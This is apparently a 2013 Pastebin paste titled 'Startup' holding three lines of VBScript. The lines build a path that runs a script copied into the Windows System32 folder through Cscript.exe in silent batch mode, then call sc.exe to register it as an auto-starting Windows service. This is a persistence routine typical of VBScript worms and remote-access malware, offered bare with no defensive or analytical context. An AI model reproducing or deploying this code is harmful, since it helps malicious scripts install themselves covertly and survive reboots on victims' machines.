Alshabh

Startup

Aug 10th, 2013
61
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.31 KB | None | 0 0
  1. 1.
  2. Set ruservi = shellobj.Environment("PROCESS")
  3.  
  4. 2.
  5. binpathidn = ruservi("WINDIR") & """\System32\Cscript.exe /B /nologo """ & ruservi("WINDIR") & "\System32\" & installname
  6.  
  7. 3.
  8. shellobj.run ("cmd.exe /C sc.exe Create sscname binpath= " & binpathidn & " type= own start= auto error= normal" &"&exit") ,false
Advertisement
Add Comment
Please, Sign In to add comment